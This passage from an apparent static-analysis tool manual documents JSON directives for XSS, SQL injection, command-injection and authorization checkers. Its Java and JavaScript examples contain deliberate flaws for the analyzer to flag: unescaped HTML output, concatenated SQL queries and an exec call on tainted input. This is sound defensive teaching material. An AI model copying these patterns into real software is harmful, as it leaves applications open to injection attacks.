"input_param_sinks" : [
{
"input" : "arg1",
"escaper" : {
"lookup_by_constant_param" : "arg2",
"lookup_map" : "escape_if_bool_is_true"
},
"servlet_context" : { "html_prefix" : "" }
}
]
},//"method_with_servlet_sinks_on_input" directive example 3
// This also demonstrates using a "lookup_by_constant_param" MethodCallSpecifier
// value to indicate that a boolean parameter controls an optional escaper.
// NOTE: This example should include the Escapers.java code (for the
// 'escape_html' method call added by the directive).
package examples;
class Test_method_input_servlet_sinks3 extends HttpServlet
{
boolean unknownBool;
public void sink(String val, boolean escape) {}
public void doGet(HttpServletRequest request, HttpServletResponse resp)
throws IOException
{
PrintWriter pw = resp.getWriter();
String taint = request.getParameter("taint");
// The directive makes the analysis (1) treat the first argument to 'sink'
// ('taint') as if it is written to HTML PCDATA context; and also (2) if the
// second argument to 'sink' is 'true', the analysis assumes the first
// argument has been passed through 'escape_html' first.
// No XSS because the 'escape_html' makes 'taint' safe for HTML PCDATA.
sink(taint, true);
// XSS report because 'false' implies no escaping of 'taint'
sink(taint, false);
// Since the second argument is not a boolean literal ('true' or 'false'),
// the analysis does not know if the first argument is escaped. It logs a
// warning, but does not report a defect.
sink(taint, unknownBool);
}
}//"method_with_servlet_sinks_on_input" directive example 4
// This example also demonstrates using a "lookup_by_constant_param"
// MethodCallSpecifier value to indicate that an enum parameter controls an
// optional escaper.
{
"define_lookup_method_call_map" : "escape_if_Choice_is_YES",
"map" : {
"examples.Choice.YES" : {
"method_call" :
"Escapers.escape_html(java.lang.String)java.lang.String",
"input" : "arg1", "output" : "return"
},
"examples.Choice.NO" : null,
"null" : null
}
},
{
"method_with_servlet_sinks_on_input" :
{ "named" :
"examples.Test_method_input_servlet_sinks4.sink(java.lang.String, examples.Choice)void"
},
"input_param_sinks" : [
{
"input" : "arg1",
"escaper" : {
"lookup_by_constant_param" : "arg2",
"lookup_map" : "escape_if_Choice_is_YES"
},
"servlet_context" : { "html_prefix" : "" }
}
]
},//"method_with_servlet_sinks_on_input" directive example 4
// This example also demonstrates using a "lookup_by_constant_param"
// MethodCallSpecifier value to indicate that an enum parameter controls an
// optional escaper.
// NOTE: This example should include the Escapers.java code (for the
// 'escape_html' method call added by the directive).
package examples;
enum Choice { YES, NO }
class Test_method_input_servlet_sinks4 extends HttpServlet
{
Choice unknownChoice;
public void sink(String val, Choice escape) {}
public void doGet(HttpServletRequest request, HttpServletResponse resp)
throws IOException
{
PrintWriter pw = resp.getWriter();
String taint = request.getParameter("taint");
// Similar to the example above, the directive causes the analysis to behave
// as if 'taint' flows to a HTML PCDATA context after being escaped with
// 'escape_html' and so the analysis does not report a defect here.
sink(taint, Choice.YES);
// According to the directive, a Choice.NO argument indicates no escaping,
// so the analysis reports an XSS defect report here.
sink(taint, Choice.NO);
// The directive also indicates that the null Choice argument means no
// escaping, so the analysis reports an XSS defect here too.
sink(taint, null); // XSS sink from directive + no escaper
// The Choice controlling escaping is not an expected literal, so the
// analysis logs a warning but does not report a defect.
sink(taint, unknownChoice);
}
}See also, Section E.1.4.2.11, “define_lookup_method_call_map directive”, Section E.1.4.3.12, “MethodCallSpecifier values” for
define_lookup_method_call_map.
This directive indicates that one of the outputs of a method (its return value or the final state of one of its mutable parameters) is written to the HTTP output. The XSS checker reports a defect if tainted data is written to the HTTP output without proper escaping.
This JSON Object has the following fields:
method_with_servlet_sinks_on_output takes a MethodSet value. This
directive applies to methods that match this
MethodSet.
output_param_sinks takes a JSON array of JSON Objects.
Each object in this array indicates that one of the outputs of this
method (its return value or the final state of one of its mutable
parameters) flows to the HTTP output.
JSON Objects in the output_param_sinks JSON array have the
following fields:
output takes a ParamOut value. This field names the output
of the method that this object describes.
servlet_context takes a HtmlOutputContext value, but not an html_attribute_value_where_name_is_from_param
HtmlOutputContext value. This field indicates the
HTML context (that is, the place in the HTML parse tree) into which the
output flows. Different contexts imply different
escaping obligations to avoid XSS. See HtmlOutputContext
for details.
Configuration example:
// "method_with_servlet_sinks_on_output" directive example
// This example also demonstrates using the "html_prefix" HtmlOutputContext
// value to control the context.
{
"method_with_servlet_sinks_on_output" :
{ "named" :
"examples.Test_method_with_servlet_sinks_on_output.appendString_PCDATAsink(java.lang.StringBuffer, java.lang.String)void"
},
"output_param_sinks" : [
{
"output" : "arg1",
"servlet_context" : { "html_prefix" : "" }
}
]
},
{
"method_with_servlet_sinks_on_output" :
{ "named" :
"examples.Test_method_with_servlet_sinks_on_output.appendString_AttrValSink(java.lang.StringBuffer, java.lang.String)void"
},
"output_param_sinks" : [
{
"output" : "arg1",
"servlet_context" : { "html_prefix" : "<tag attr='" }
}
]
},Java code example:
//"method_with_servlet_sinks_on_output" directive example
// This example also demonstrates using the "html_prefix" HtmlOutputContext
// value to control the context.
package examples;
class Test_method_with_servlet_sinks_on_output extends HttpServlet
{
public void appendString_PCDATAsink(StringBuffer sb, String str) {
// The directive makes the analysis treat appending to 'sb' as writing to
// servlet output in the HTML PCDATA context, so we get an XSS defect here.
sb.append(str);
}
public void appendString_AttrValSink(StringBuffer sb, String str) {
// The directive makes the analysis treat appending to 'sb' as writing to
// servlet output in the single-quoted HTML tag value context, so we get an
// XSS defect here.
sb.append(str);
}
public void doGet(HttpServletRequest request, HttpServletResponse resp)
throws IOException
{
PrintWriter pw = resp.getWriter();
String taint = request.getParameter("taint");
appendString_PCDATAsink(new StringBuffer(), taint);
appendString_AttrValSink(new StringBuffer(), taint);
}
}This directive directs the analysis to report XSS defects outside the specified methods.
This JSON Object has the following field:
move_xss_outside_method takes a MethodSet value.
Configuration example:
//"move_xss_outside_method" directive example
{
"move_xss_outside_method" :
{ "named" :
"examples.Test_move_xss_outside_method.addUrlPrefix(java.lang.String)java.lang.String"
}
},Java code example:
//"move_xss_outside_method" directive example
package examples;
class Test_move_xss_outside_method extends HttpServlet
{
public String addUrlPrefix(String str) {
return "http://" + str; //directive moves XSS out of this method. no defect
}
public void doGet(HttpServletRequest request, HttpServletResponse resp)
throws IOException
{
PrintWriter pw = resp.getWriter();
String taint1 = request.getParameter("taint1");
pw.println( addUrlPrefix(taint1) ); //directive moves XSS report to here
String taint2 = request.getParameter("taint2");
pw.println( addUrlPrefix(taint2) ); //directive moves XSS report to here
}
}This directive identifies a method that when passed a tainted argument, renders its value safe for a checker's sinks. That checker will no longer report defects for values that are passed through the sanitizer method. Other checkers will not be affected. Common applications include sanitizers, encoders, and escapers.
This directive can only be used with user-defined checkers. See Section 4.78, “DF.CUSTOM_CHECKER”. It is not applicable to built-in checkers.
This directive is a JSON Object with the following fields:
sanitizer_for_checker takes a JSON string that contains
the name of the checker to which this directive applies.
sanitizer takes a WritableProgramData that must be a to_callsite
WritableProgramData
Example (Java):
{
sanitizer_for_checker : "DF.MY_CUSTOM_DATAFLOW_CHECKER",
sanitizer : {
to_callsite : {
callsite_with_static_target : {
"named" : "examples.SanitizerForChecker.Clean(java.lang.String, boolean)java.lang.String"
},
},
input : "arg1"
}
}Source code for the example:
package examples;
import javax.servlet.http.HttpServletRequest;
public class SanitizerForChecker
{
// This is defined as a sink for a custom checker
// through an sink_for_checker directive (not shown).
public native void SinkStuff(String data);
// This is defined as a sanitizer for the same custom checker
// through the sanitizer_for_checker directive above.
public String Clean(String data, boolean useUnderscore) {
if (useUnderscore) {
return data.replaceAll(" ", "_");
} else {
return data.replaceAll(" ", "");
}
}
public void Demonstrate(HttpServletRequest req)
{
// Read an untrusted HTTP request parameter.
// This is a built-in "HTTP" taint source.
String x = req.getParameter("unsafe");
// It is a defect to pass 'x' to the sink!
SinkStuff(x);
// It is safe to pass a sanitized 'x' after calling Clean.
SinkStuff( Clean(x, true) );
}
}Use this directive to tell the MISSING_AUTHZ checker which function calls perform a sensitive action that requires an authorization check. The MISSING_AUTHZ checker reports a defect on code that performs a sensitive action that isn't protected by an authorization check. See Section 4.117, “MISSING_AUTHZ” for details on the MISSING_AUTHZ checker.
This directive is a JSON Object with a single field:
sensitive_action takes a CallsiteSet that identifies calls to functions that perform
sensitive operations that require authorization.
JavaScript example:
{
sensitive_action" : {
"call_on" : {
"read_path_off_global" : [ { "property" : "addUser" } ]
}
},
}The sensitive_action directive above matches the addUser() callsite in the following Node.js JavaScript code. If such a call is not guarded by an authorization check, MISSING_AUTHZ reports a defect on it.
addUser("guest");The addAdminUser() function is also considered a sensitive action because it calls a function that performs a sensitive action. MISSING_AUTHZ reports a defect on the call to addAdminUser unless it is guarded by an authorization check.
function addAdminUser() {
addUser("admin");
}
// …
addAdminUser();See also: Section 4.117, “MISSING_AUTHZ”
This directive promotes a defect found by the WEAK_GUARD checker to high impact in programs where a weak guard is used to control the execution of a sensitive operation. See Section 4.241, “WEAK_GUARD” for details about the checker.
This JSON Object has the following field:
sensitive_operation takes a MethodSet value.
Configuration example:
{
"sensitive_operation" : {
"named" : examples.WeakGuard.secretOperation()void"
}
},Java code example:
package examples;
public class WeakGuard {
native void secretOperation();
void test(HttpServletRequest request) throws IOException {
String sourceIP = request.getRemoteAddr();
if (sourceIP != null && sourceIP.equals("134.23.43.1")) {
secretOperation();
}
}
}This directive identifies methods that are entry points for a Web application.
All parameters of the methods will be deeply tainted (meaning that the object,
its fields, and the fields that belong to those fields are treated as though
they are tainted) with the specified taint types. The level of depth of fields
that are tainted is affected by
--webapp-security-aggressiveness-level to
cov-analyze.
This JSON Object has the following fields:
simple_entry_point takes a MethodSet value.
taint_kinds takes a JSON array of TaintKind
strings.
The MethodSet field describes the methods to which this directive
applies. The JSON array of TaintKind strings describes
the taint types to use.
Configuration example:
//"simple_entry_point" directive example
{
"simple_entry_point" : {
"named" : "examples.Test_simple_entry_point.entry(java.lang.String, examples.UserBean)void"
},
"taint_kinds" : [ "http", "network" ]
},Java code example:
//"simple_entry_point" directive example
package examples;
import java.sql.Connection;
import java.sql.Statement;
class InnerInnerBean
{
private String innerInnerData;
public String getInnerInnerData() { return innerInnerData; }
public void setInnerInnerData(String arg) { innerInnerData = arg; }
}
class InnerBean
{
private String innerData;
private InnerInnerBean innerInnerBean;
public String getInnerData() { return innerData; }
public void setInnerData(String arg) { innerData = arg; }
public InnerInnerBean getInnerInnerBean() { return innerInnerBean; }
public void setInnerInnerBean(InnerInnerBean arg) { innerInnerBean = arg; }
}
class UserBean
{
private String data;
private InnerBean innerBean;
public String getData() { return data; }
public void setData(String arg) { data = arg; }
public InnerBean getInnerBean() { return innerBean; }
public void setInnerBean(InnerBean arg) { innerBean = arg; }
}
public class Test_simple_entry_point
{
Connection connection;
Statement statement;
public void entry(String simpleString, UserBean customData)
throws Exception
{
// The string 'simpleString' is considered to be tainted with
// "http" and "network" taint. SQLI cares about both so it
// reports a defect when we see the taint (aliased to sqlQuery1)
// flow into connection.prepareStatement.
String sqlQuery1 =
"select * from " + simpleString;
statement = connection.prepareStatement(sqlQuery1); //SQLI
// This example demonstrates that we consider fields of classes
// as tainted in addition to simple objects like "simpleString".
String sqlQuery2 =
"select * from " + customData.getData();
statement = connection.prepareStatement(sqlQuery2); //SQLI
// This example demonstrates that, at default aggressiveness levels,
// we do not consider InnerInnerBean's fields as tainted.
String sqlQuery3 =
"select * from " +
customData.getInnerBean().getInnerInnerBean().getInnerInnerData();
statement = connection.prepareStatement(sqlQuery3); //no SQLI
}
}This directive identifies a sink for a checker. It is a JSON Object with the following fields:
"sink_for_checker" takes a JSON string containing the
name of the checker. This checker can be
a user-defined checker, created with the dataflow_checker_name directive as
defined in the DF.CUSTOM_CHECKER section.
any built-in tainted dataflow checker (JavaScript, Python, PHP, and Swift only).
"sink"
WritableProgramData describes the sink, for
example, by identifying a particular argument to a particular function.
"sink_kind" takes a SinkKind string, which specifies the type of sink. This
field is only supported for the JavaScript
SENSITIVE_DATA_LEAK checker.
This directive instructs the checker indicated in
"sink_for_checker" to report a defect when data having a taint
kind that it cares about (and is distrusted) into the sink indicated by
"sink". The DF.CUSTOM_CHECKER section explains in more detail how trust/distrust
settings affect when a dataflow checker reports a defect.
The analysis supports different kinds of WritableProgramData values for "sink"
depending on the programming language to which this directive applies.
For Java, Visual Basic, and C#, "sink" must be a to_callsite
WritableProgramData.
For JavaScript, "sink" may be any of the following kinds
of WritableProgramData:
Java directive example:
{
sink_for_checker : "DF.MY_CUSTOM_DATAFLOW_CHECKER",
sink : {
to_callsite : {
callsite_with_static_target : {
"named" : "examples.SinkForChecker.SinkStuff(java.lang.String)void"
},
},
input : "arg1"
}
}Java source code example:
package examples;
public class SinkForChecker
{
// This could be defined in source, defined in bytecode, or
// somewhere else. The part we care about is the "call" to
// this method.
public void SinkStuff(String data) {
// Sinks the data.
}
// This method illustrates a call to SinkStuff. The directive
// matches the call to SinkStuff. The directive is told that
// "arg" (arg1) of SinkStuff is what is sinking.
public void SomeOtherMethod()
{
SinkStuff("arg");
}
}See also, DF.CUSTOM_CHECKER.
Client-side JavaScript example:
The following directive adds a sink to the DOM_XSS checker. Writing tainted data to the global variable location results in a defect report.
{
"sink_for_checker" : "DOM_XSS",
"sink" : {
"write_path_off_global" : [ { "property" : "location" } ]
}
}This directive identifies tainted data, which is data that an attacker can influence to cause security vulnerabilities. This directive consists of a JSON Object with the following fields:
"tainted_data" takes a ReadableProgramData that indicates which data
to consider tainted.
"taint_kind" takes a see TaintKind string that indicates the kind of
taint with which "tainted_data" is tainted.
"is_deep_taint" is an optional field that takes a JSON
boolean value. Not specifying this field is equivalent to specifying
false. Setting this field to true
indicates that properties of "tainted_data" are also
tainted.
The analysis considers any program data (global variable, function return
value, and so on) that matches tainted_data to be tainted with
taint of kind taint_kind. If is_deep_taint is true,
then the analysis also considers properties of the object (including array
elements), properties of those properties, and so on to be similarly
tainted.
Configuration example:
The following is an example of using this directive for client-side JavaScript
code. This example marks global variable myLibrary.queryParam as
tainted with kind js_client_url_query_or_fragment (similar to
window.location.query).
{
"taint_kind" : "js_client_url_query_or_fragment",
"tainted_data" : {
"read_path_off_global" : [
{ "property" : "myLibrary" },
{ "property" : "queryParam" }
]
}
}JavaScript code example:
The following client-side JavaScript code illustrates the effect of this directive.
function tainted_data_client() {
var t = myLibrary.queryParam;
document.write(t); // DOM_XSS
var n = myLibrary.somethingElse;
document.write(n); //no DOM_XSS
}The local variable t is tainted because of the directive, but
local variable n is not. When t flows into the first
argument of a call to document.write, the analysis reports a Section 4.80, “DOM_XSS” defect.
The following is an example that uses this directive for server-side
JavaScript code. This directive says that the return value of
require('myLib').getObjectFromRequestParam() contains deeply
tainted data from HTTP request parameters, in other words, that it was entirely
constructed (or deserialized from) data in an HTTP request.
{
"taint_kind" : "http",
"is_deep_taint" : true,
"tainted_data" : {
"output" : "return",
"from_callsite" : {
"call_on" : {
"read_from_js_require" : "myLib",
"path" : [ { "property" : "getObjectFromRequestParam" } ]
},
}
}
},The following Node.js code illustrates the effect of this directive. In this
example, the local variable o is deeply tainted because of the
directive. The effect of the deep taint is that o.s.cmd is tainted,
so its flow into the argument of exec results in a Section 4.147, “OS_CMD_INJECTION” defect report.
function node() {
var myLib = require("myLib");
var o = myLib.getObjectFromRequestParam();
// Because 'o' is deeply tainted, 'o.s.cmd' is tainted.
// Hence, passing it to an API that executes it results in a
// OS_CMD_INJECTION defect report.
require("child_process").exec(o.s.cmd); // OS_CMD_INJECTION
}See also, DF.CUSTOM_CHECKER.
This directive describes the string replacements that the XSS sanitizer method performs. Use this directive to improve the XSS checker results in cases where it does not correctly recognize what a sanitizer does.
This JSON Object has the following fields:
xss_sanitizer_method takes a MethodSet value.
input takes a ParamIn value.
output takes a ParamOut value.
step1
takes a JSON
array.
Optionally, you add fields named step1,
step2, step3, and so on with the same
structure as step1.
The MethodSet,
xss_sanitizer_method, specifies the method(s) to which this
directive applies.
The ParamIn and ParamOut values (input
and output, respectively) identify the unsanitized input to those
methods and the sanitized output from them.
Each step1, step2 (and so on) field describes string
operations that the sanitizer method performs on the input to compute the
output. A step field describes these string operations as a series
of character replacements.
Each step's replacements have the following requirements:
They do not interfere with each other (in other words, the order in which the replacements within a step are applied does not change the outcome of the step as a whole).
They apply to the same language context (for example, operations for escaping an HTML attribute value should not be mixed with operations for escaping a string value in a JavaScript program).
Some sanitizers handle nested language contexts (for instance, a string inside JavaScript inside an HTML attribute value). These require multiple steps.
For example, a step might describe HTML entity encoding (changing
& to &, and so on) for
an HTML attribute value, while a different step describes transforming newline
characters to \n for JavaScript strings.
Example (step1): The following is an example of a step.
"step1":
[
{ PREPEND_BACKSLASH : [ "\"", "'" ] },
{ JS_CHAR_CODE : [ "\n" ] },
],This step describes how three different characters are replaced in a JavaScript string:
Prepend a backslash in front of any single-quote or double-quote character.
Replace the newline character with an escape sequence that is different from simply placing a backslash in front of the character. (This distinction is important because it removes the newline from the string.)
The replacements in this step can be performed in any order to obtain the same result, and they all apply to the same language context: a string in JavaScript.
Example (step2): If you also want the sanitizer to perform HTML entity encoding on the quote and double-quote characters, you need to add another step to use the JavaScript string in an HTML attribute value, as shown next.
"step2":
[
{ HTML_CHAR_REF : [ "\"", "'" ] },
],The steps occur in order, taking the output of the preceding step. That is,
step1 replaces a quote with \', and
step2 turns that into \".
A step value is a JSON array of values representing an unordered set of replacements that apply to different characters.
Each array element is a JSON object with a single field:
The name describes the kind of replacement
operation.
The value describes a set of replaced characters.
The set of replaced characters can be described in two ways:
Using an array of JSON strings that represent single characters.
JSON string escape sequences might be needed to express certain characters.
Example:
"step1":
[
{ REMOVE : [ "\"", "'", "\u2029" ] },
],Using a regular expression to match a set of characters.
Example:
"step1":
[
{ REMOVE : { regex-charset : "[^a-zA-Z0-9]" } },
],Names and meanings of character replacement operations:
PREPEND_BACKSLASH
Insert a \ in front of the character. This is
used in JavaScript and CSS strings, for certain characters, to literally
mean those characters. Some characters (for example, n in
JavaScript, or A in CSS) cannot be escaped this way, since
it will mean something different.
Within a step, this operation can be mixed with either JS_STRING_CHAR_CODE or CSS_CHAR_CODE operations.
Example:
Replacing " with \".
Not an example: Replacing newline with \n is
not an example of PREPEND_BACKSLASH.
HTML_CHAR_REF
Replace the character with a numeric or named HTML character reference.
Within a step, this operation cannot be mixed with other kinds of operations.
Examples:
Replacing & with
& or & or
&
JS_STRING_CHAR_CODE
Replace a character in a JS string with a numeric or reserved escape sequence that is different from PREPEND_BACKSLASH.
Within a step, this operation can be mixed with PREPEND_BACKSLASH operations.
Examples:
\n for newline
\u000A for newline
CSS_CHAR_CODE
Replace a character in a CSS string with a numeric escape sequence.
Within a step, this operation can be mixed with PREPEND_BACKSLASH operations.
Example:
\00000A for newline
URI_PERCENT
Replace the character with a percent escape sequence used in URIs.
Within a step, this operation cannot be mixed with other kinds of operations.
Example:
Replace & for
%26
REMOVE
Remove the character.
Within a step, this operation cannot be mixed with other kinds of operations.
Configuration example:
// This is a 1-step sanitizer model for HTML escaping an attribute value.
{
"xss_sanitizer_method" :
{ "named" :
"examples.Test_xss_sanitizer_method.escapeAttributeValue(java.lang.String)java.lang.String"
},
"input" : "arg1",
"output" : "return",
"step1":
[
{ HTML_CHAR_REF : [ "\"", "'", "&" ] },
],
},
// This is also a 1-step sanitizer model for HTML escaping an attribute value.
// This demonstrates using a regular expression for specifying the affected
// characters.
{
"xss_sanitizer_method" :
{ "named" :
"examples.Test_xss_sanitizer_method.escapeAttributeValue_regex_spec(java.lang.String)java.lang.String"
},
"input" : "arg1",
"output" : "return",
"step1":
[
{ HTML_CHAR_REF : { regex-charset : "[\"'&]" } },
],
},
// This is a 1-step sanitizer model for removing dangerous characters from an attribute value.
// This also demonstrates using a regular expression to specify a character set.
{
"xss_sanitizer_method" :
{ "named" :
"examples.Test_xss_sanitizer_method.filterAttributeValue(java.lang.String)java.lang.String"
},
"input" : "arg1",
"output" : "return",
"step1":
[
{ REMOVE : { regex-charset : "[\"'&]" } },
],
},
// This is a 1-step sanitizer model for escaping a JavaScript string.
{
"xss_sanitizer_method" :
{ "named" :
"examples.Test_xss_sanitizer_method.escapeJavaScriptString(java.lang.String)java.lang.String"
},
"input" : "arg1",
"output" : "return",
"step1":
[
{ JS_STRING_CHAR_CODE : [ "\"", "'", "\\" ] },
],
},
// This is a 2-step sanitizer model:
// Step 1: escape for a JavaScript string.
// Step 2: escape for an HTML attribute value.
{
"xss_sanitizer_method" :
{ "named" :
"examples.Test_xss_sanitizer_method.escapeJavaScriptStringInAttributeValue(java.lang.String)java.lang.String"
},
"input" : "arg1",
"output" : "return",
"step1":
[
{ JS_STRING_CHAR_CODE : [ "\"", "'", "\\" ] },
],
"step2":
[
{ HTML_CHAR_REF : [ "\"", "'", "&" ] },
],
},Java code example:
package examples;
import java.util.*;
import java.io.*;
import javax.servlet.*;
import javax.servlet.http.*;
class Test_xss_sanitizer_method extends HttpServlet
{
// The XSS analysis will use the xss_sanitizer_method directive for
// the sanitization models, rather than these implementations.
String escapeAttributeValue(String val) {
return val;
}
String escapeJavaScriptString(String val) {
return val;
}
String escapeJavaScriptStringInAttributeValue(String val) {
return val;
}
public void doGet(HttpServletRequest request, HttpServletResponse resp)
throws IOException
{
PrintWriter pw = resp.getWriter();
String taint = request.getParameter("taint");
// Demonstrate an XSS from unsanitized text in a title attribute value.
pw.print("<p title=\"" + taint + "\">"); // XSS
// Demonstrate text sanitized using the 1-step sanitizer model
// for the attribute value escaper.
String safe_text = escapeAttributeValue(taint);
pw.print("<p title=\"" + safe_text + "\">"); // no XSS
// The same as the previous example.
// The difference is that the xss_sanitizer_method uses a
// regular expression to specify the escaped characters.
String safe_text2 = escapeAttributeValue_regex_spec(taint);
pw.print("<p title=\"" + safe_text2 + "\">"); // no XSS
// Demonstrate an XSS from an unsanitized string in JavaScript
// in an onclick attribute value.
String unsafe_js = "alert('" + taint + "');";
pw.print("<div onclick=\"" + unsafe_js + "\">"); // XSS
// Demonstrate sanitizing the string-in-JavaScript-in-attribute using
// two escapers with 1-step sanitizer models.
String safe_js = escapeJavaScriptString(taint);
String safe_attrval = "alert('" + escapeAttributeValue(safe_js) + "');";
pw.print("<div onclick=\"" + safe_attrval + "\">"); // no XSS
// Demonstrate sanitizing the string-in-JavaScript-in-attribute using
// an escaper with a 2-step sanitizer model.
String safe_js_attrval =
"alert('" +
escapeJavaScriptStringInAttributeValue(taint) +
"');";
pw.print("<div onclick=\"" + safe_js_attrval + "\">"); // no XSS
}
} This section describes other kinds of JSON
object values used in the UserDirective values.
An access path from a base value to another value is represented as a
non-empty array of AccessPathElement values. One
AccessPathElement describes a single step in the access
path.
This is a JSON Object with a single field:
"property" takes a string. This is the name of a property
of the object at this point in the access path.
Example:
The following array of AccessPathElement values, if applied to
the object baseObj, would represent the value
baseObj.x.y.z.
[ { "property" : "x" }, { "property" : "y" }, { "property" : "z" }]An AnnotationSet value is a JSON Object that describes a set of
(Java) annotations or (C#) attributes from the program. An
AnnotationSet can be specified in the following ways:
A named AnnotationSet is a JSON Object with a single field
called named that takes a JSON string value. A
named AnnotationSet matches all uses of the Java annotation
or C# attribute with the mangled class in named. See Section E.1.4.3.5, “ClassName value” for the mangled name format.
The following example of a named AnnotationSet matches uses
of the Java @Deprecated annotation:
{ "named": "java.lang.annotation.Deprecated" }A matching AnnotationSet is a JSON Object that has a single
field called matching that takes a JSON string containing a
Perl-style regular expression. A matching AnnotationSet
includes all uses of any Java annotation or C# attribute whose entire
mangled class name matches the regular expression in matching
(a substring match is insufficient). See Section E.1.4.3.5, “ClassName value” for the
mangled name format.
The following matching AnnotationSet example matches uses of
annotation classes named EntryPoint in any package.
{ "matching": ".*EntryPoint" }A CallsiteSet is a JSON
object that identifies a set of function call sites in the program.
The following subsections describe the different ways that you can specify a
CallsiteSet. Note that different kinds of
CallsiteSet are supported for different programming languages.
This CallsiteSet matches callsites whose static call target,
(that is, the function to which the call resolves before considering virtual
call resolution) is in a specified MethodSet. It consists of a JSON Object with the following
field:
"callsite_with_static_target" takes a MethodSet. Function callsites that call a function in
this set are in the CallsiteSet.
Java Example:
{
callsite_with_static_target : {
"named" : "battle.robot.api.RobotService.run(java.lang.String, int)void"
}
},The CallsiteSet above matches the callsite in this Java
code:
void doRotate(battle.robot.api.RobotService robot) {
robot.run("rotate", 180);
}This CallsiteSet matches callsites where the function value
itself (not the result of the call, but the expression being called) matches
a specified ReadableProgramData.
It consists of a JSON Object
with the following fields:
"call_on" takes a ReadableProgramData
that the function value at a callsite must match to match this
CallsiteSet.
"when" is an optional field that, when present, takes
a CallsiteCondition that a
callsite must satisfy to match this CallsiteSet.
JavaScript example:
{
"call_on" : {
"read_off_any" : [ {"property" : "addEventListener"} ]
},
"when" : {
"only_if_arg_index" : 1,
"iequals_string" : "click"
}
}The CallsiteSet above matches the JavaScript callsite this
callsite:
anything.addEventListener("CLICK", x);However, it does not match the following callsites because they do not satisfy the CallsiteCondition.
anything.addEventListener("CLACK", x);
anything.addEventListener();This CallsiteSet matches constructor calls that use the new
operator where the constructor expression matches a specified ReadableProgramData. It consists of
a JSON Object with the
following fields:
"new_on" takes a ReadableProgramData
that the constructor expression must match to match this
CallsiteSet.
"when" is an optional field that, when present, takes
a CallsiteCondition that a
callsite must satisfy to match this CallsiteSet.
Node.js JavaScript example:
{
"new_on" : {
"read_from_js_require" : "myLib",
"path" : [ { "property" : "myCtor" } ]
}
}The CallsiteSet above matches the new
myLib.myCtor() callsite in this Node.js JavaScript
code:
var myLib = require("myLib");
new myLib.myCtor()A CallsiteCondition value provides a condition that must be
satisfied in order for a CallsiteSet value to match a given callsite. It
consists of a JSON Object with
the following fields:
"only_if_arg_index" takes an integer value, starting with
1, that specifies the position of the argument to which
this condition applies.
"equals_string" is an optional field that takes a string.
If this field is present, the argument that
only_if_arg_index indicates must be a string literal
with exactly this value.
"iequals_string" is an optional field that takes a
string. If this field is present, the argument must be a string literal
that is case-insensitively equal to this value.
"regex_string" is an optional field that takes a string
containing a Perl-style regular expression. If this field is present,
the argument must match this regular expression case-sensitively.
"iregex_string" is an optional field that takes a string
containing a Perl-style regular expression. If this field is present,
the argument must match this regular expression case-insensitively.
"equals_int" is an optional field that takes an integer.
If this field is present, the argument must be an integer literal with
this value.
"is_last_arg" is an optional field that takes a boolean.
If this field is present, the argument must be the last one in the
callsite.
Of the following optional fields, at most one can be present:
"equals_string"
"iequals_string"
"regex_string"
"iregex_string"
"equals_int"
The "is_last_arg" field can be specified alone or in concert
with one of the other optional fields.
If "is_last_arg" is the only optional field specified, the
"only_if_arg_index" is allowed to be 0, in order
to express that a callsite has no arguments.
See the example of a "call_on" CallsiteSet for a CallsiteCondition example.
A ClassName value is a JSON string value that describes the
mangled name for a class type.
The mangled name uses the fully-qualified name of that type, without including any generic type arguments.
Java. For Java, mangled type names follow the grammar below (using regex-style notation):
class_name ::= ( package "." )* class ( "$" inner_class )* package ::= identifier class ::= identifier inner_class ::= identifier
An identifier non-terminal is a valid source code
identifier.
Visual Basic. For C# and Visual Basic, mangled type names follow the grammar below (using regex-style notation):
class_name ::= ( namespace "." )* class ( "/" inner_class )* namespace ::= identifier class ::= identifier generic_arity? inner_class ::= identifier generic_arity? generic_arity::= "`" [0-9]+
A ClassSet is a JSON
object that describes a set of classes from the program. You can
specify a ClassSet in the following ways:
A named ClassSet is a JSON Object with a single field called named that
takes a ClassName value. A named ClassSet matches
the class with the mangled name in
named. See the ClassName section for the
mangled name format.
The following example matches the String class:
{ "named": "java.lang.String" }A matching ClassSet is a JSON Object that has a single
field called matching that takes a JSON string containing a
Perl-style regular expression. A matching ClassSet includes any
class whose entire mangled name matches the
regular expression in matching (a substring match is
insufficient). See the ClassName section for the
mangled name format.
The following example matches classes with names that end with
Writer in the com.example package.
{ "matching": "com\\.example\\..*Writer" }A with_super ClassSet is a JSON Object that has a single
field called with_super that takes a ClassSet value. A with_super
ClassSet matches all class types with a super-class or
super-interface in with_super.
The following example matches all subclasses of "java.util.Collection".
{ "with_super": { "named": "java.util.Collection" } }A with_annotation ClassSet is a JSON Object that has a single
field called with_annotation that takes an AnnotationSet value. A
with_annotation ClassSet matches a class whose definition
has any of the specified annotations.
The following with_annotation ClassSet example matches any
class defined with the annotation
java.lang.annotation.Documented.
{ "with_annotation":
{ "matching": "java\\.lang\\.annotation\\.Documented" }
}Example of a matching Java class definition:
@Documented
public class FooBar {
// ...
}The following with_annotation ClassSet example matches any
class defined with the annotation MyWebController.
{ "with_annotation":
{ "named": "MyWebController" }
}Example of a matching C# class definition:
[MyWebController]
class AccountController {
// ...
}A HtmlOutputContext value is a JSON Object that describes the
lexical context preceding an HTML fragment.
This can be one of several more specific types of values. Each is described in
its own section. For examples of HtmlOutputContext objects, see the
examples for the method_with_servlet_sinks_on_output and method_with_servlet_sinks_on_input
directives.
This JSON Object has the following fields:
html_attribute_value_where_name_is_from_param takes a
ParamIn
value.
value_quoting takes a JSON string.
This evaluates to one of several lexical contexts for HTML tag attribute values. This will be evaluated by a directive against a particular callsite.
The ParamIn field indicates an
argument at that callsite to treat as the name of the attribute. The
value_quoting indicates how the attribute is quoted, using
one of the following values:
single indicates using single quotes.
double indicates using double quotes.
none indicates using no quotes (whitespace
delimited).
This JSON Object has the following field:
html_prefix, taking a JSON string.
If the given string was the beginning of an HTML page, this represents the lexical context at the end of the string.
An InputTaint value marks the parameter of a callback as tainted
with a specific taint kind.
An InputTaint value is a JSON Object with the following
fields.
"input" takes a ParamIn value that indicates the parameter
to the callback that is tainted.
"taint_kind" takes a TaintKind string value that specifies the
kind of taint that input has.
"is_deep_taint" is an optional field that takes a JSON
boolean value. Not specifying this field is equivalent to specifying
false. Setting this field to true
indicates that properties of "input" are also tainted.
An InputTaint value is used together with identifying a callback.
The analysis considers the callback parameter given by "input" to
be tainted with taint of kind taint_kind. If
is_deep_taint is true, the analysis also considers
properties of that parameter object (including array elements), properties of
those properties, and so on to be similarly tainted.
An InputTag value assigns an arbitrary string-valued
"tag" to a specific parameter to a callback. Other structures,
